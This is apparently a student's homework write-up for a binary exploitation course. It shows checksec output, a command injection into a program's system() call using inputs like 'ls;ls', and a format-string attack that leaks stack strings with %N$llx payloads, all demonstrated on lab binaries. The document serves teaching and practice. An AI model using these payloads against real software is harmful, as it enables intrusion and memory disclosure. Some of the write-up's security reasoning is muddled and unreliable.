

## Homework #7 Binary Exploitation

Honor Pledge: I pledge on my honor that I have not given or received any unauthorized assistance on this assignment/examination.

1. After downloading the first binary file, binary1, i ran the following command  
checksec --file=binary1

With the output of

```
$ checksec --file=binary1
RELRO           STACK CANARY      NX            PIE            RPATH            RUNPATH           Symbols
FORTIFY Fortified      Fortifiable   FILE
Partial RELRO    Canary found   NX disabled   No PIE         No RPATH        No RUNPATH      65) Sym
bols           No            0              0              binary1
```

As we can see here, there is a stack canary in this binary therefore a buffer overflow is out of the question. NX is disabled and there is no and the position independent code(PIE) is not invoked there are no fortifications and no runpath. There are 65 symbols present.

- After downloading the second binary file, binary2, i ran the following command  
checksec --file=binary2

With the output of

```
(kali㉿kali)-[~/Downloads]
$ checksec --file=binary2
RELRO           STACK CANARY      NX            PIE            RPATH            RUNPATH           Symbols
FORTIFY Fortified      Fortifiable   FILE
Partial RELRO    No canary found   NX enabled    No PIE         No RPATH        No RUNPATH      64) Sym
bols           No            0              0              binary2
```

As we can see here, there is no stack canary found, NX is enabled, there is no PIE, no RPATH and RUNPATH, 64 symbols, and no fortifications.

2. The vulnerability is a command injection. Since there is a line of code in the program that says “system(cmd)” and there is no input validation, we can inject bash and shell commands into the program to navigate around on the host. To exploit this, I noticed that if I ran the program and inputed “text; something” I got the “text” spit back out.

Example:

```
/Desktop; ls
/Desktop
```

Also, the /Desktop is not written to the text file, but ls was written. This implies that the first part “/Desktop” is executed as a command, then the ‘;’ denotes the end of the commands, and ls is the text inputted to the program.

I then tried

```
ls;ls  
ls  
□
```

And in the text file, I got

```
ls  
ls  
1402.1842.pdf  
binary1  
binary2  
checksec.sh  
cmssc388u_midterm_answers  
doggo.jpeg  
foundSha.txt  
givenSha.txt  
Image.lzma  
LSB-cat.png  
mystery_firmware.bin  
_mystery_firmware.bin.extracted  
note  
note.c  
note.txt  
rick.wav  
secret.txt  
smashed_flash  
smashed_flash.img  
supersecret.pdf  
text.txt  
uImage  
wordlist1.txt  
wordlist2.txt  
wordlist3.txt
```

Which just so happen to be the contents of my current directory, “Downloads”.

3. First, I decided to play around with the program

```

(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? ls
ls
Music format

(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? ls;ls
ls;ls

(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? qwertyuiopasdfgh
jklzxcvbnmqwertyuiopasdfghjklzxcvbn
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjk
l zxcvbn
zsh: segmentation fault ./format

```

I noticed in the code that the user input was of length 50 so I inputted 51 characters to see what would happen and I got a segmentation fault.

Next, I decided to do play around with the string formatting. Using the slides as a guide, I inserted `%8$llx%7$llx%6$llx%5$llx4$llx%3$llx` into the program.

```

(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? %8$llx%7$llx%6$llx%5$llx4$llx%3$llx
61680000000000000021656d20746e6972702074276e616320756f5900416141614$llx41f07000004061d0

(kali㉿kali)-[~/Downloads]
$ echo "61680000000000000021656d20746e6972702074276e616320756f5900416141614$llx41f07000004061d0"
"| xxd -r -p
ah!em tnirp t'nac uoYAaAa

```

This only gives us some of the data that we see in the source code, so I decided to increase the injection down to `%1`.

`%8$llx%7$llx%6$llx%5$llx4$llx%3$llx%2$llx%1$llx`

```

(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? %8$llx%7$llx%6$llx%5$llx4$llx%3$llx%2$llx%1$llx
3825002161686168616800000000000021656d20746e6972702074276e6163204$llx416141614161416141f0500000
48a1d0b7f05980bfa1752e

(kali㉿kali)-[~/Downloads]
$ echo "3825002161686168616800000000000021656d20746e6972702074276e6163204$llx416141614161416141f050000048a1d0b7f05980bfa1752e"| xxd -r -p
8%!ahahah!em tnirp t'nac

(kali㉿kali)-[~/Downloads]
$

```

The above code goes over in memory and we are out of bounds of the stack. (hence the 8%)

Taking away the %l, we are getting the volatile char annoying[8] = "hahaha!"; but not the char annoying2[10] = "AaAaAaAaA";

```
(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? %8$llx%7$llx%6$llx%5$llx4$llx%3$llx%2$llx
616861686168000021656d20746e6972702074276e616320756f59004$llx4161416141f600004231d0b7f60980

(kali㉿kali)-[~/Downloads]
$ echo "616861686168000021656d20746e6972702074276e616320756f59004$llx4161416141f600004231d0b7f60980"| xxd -r -p
ahahah!em tnirp t'nac uoYundSha.txt

(kali㉿kali)-[~/Downloads]
$
```

I then tried to access more memory by adding %9 to the front of the input.

%9\$llx%8\$llx%7\$llx%6\$llx%5\$llx4\$llx%3\$llx

That doesnt work it gives me a seg fault so i kept the %9 and took off the %2

```
(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say? %9$llx%8$llx%7$llx%6$llx%5$llx4$llx%3$llx
3925002161686168616800000000000021656d20746e6972702074276e616320756f5900416141614$llx41f68000004f61d0

(kali㉿kali)-[~/Downloads]
$ echo "3925002161686168616800000000000021656d20746e6972702074276e616320756f5900416141614$llx41f680000004f61d0"| xxd -r -p
9%ahahah!em tnirp t'nac uoYAaAa
```

This gives us more of the char annoying2[10] = "AaAaAaAaA";

So I think if I take out the %3 I should get the whole thing.

```
(kali㉿kali)-[~/Downloads]
$ ./format
What do you want me to say?
%9$llx%8$llx%7$llx%6$llx%5$llx4$llx
616861686168000021656d20746e6972702074276e616320756f59004161416141614$llx

(kali㉿kali)-[~/Downloads]
$ echo "616861686168000021656d20746e6972702074276e616320756f590041614161416141614$llx"| xxd -r -p
ahahah!em tnirp t'nac uoYAaAaAaAa
```

The output is now:

ahahah!em tnirp t'nac uoYAaAaAaAa

```
txt = "ahahah!em tnirp t'nac uoYAaAaAaAa"[::-1]  
print(txt)
```

```
aAaAaAaAYou can't print me!hahaha
```

The output, reversed, is:

aAaAaAaAYou can't print me!hahaha

Which is the concatenation of all the strings present in the program, i.e. demonstrating a formatting string vulnerability.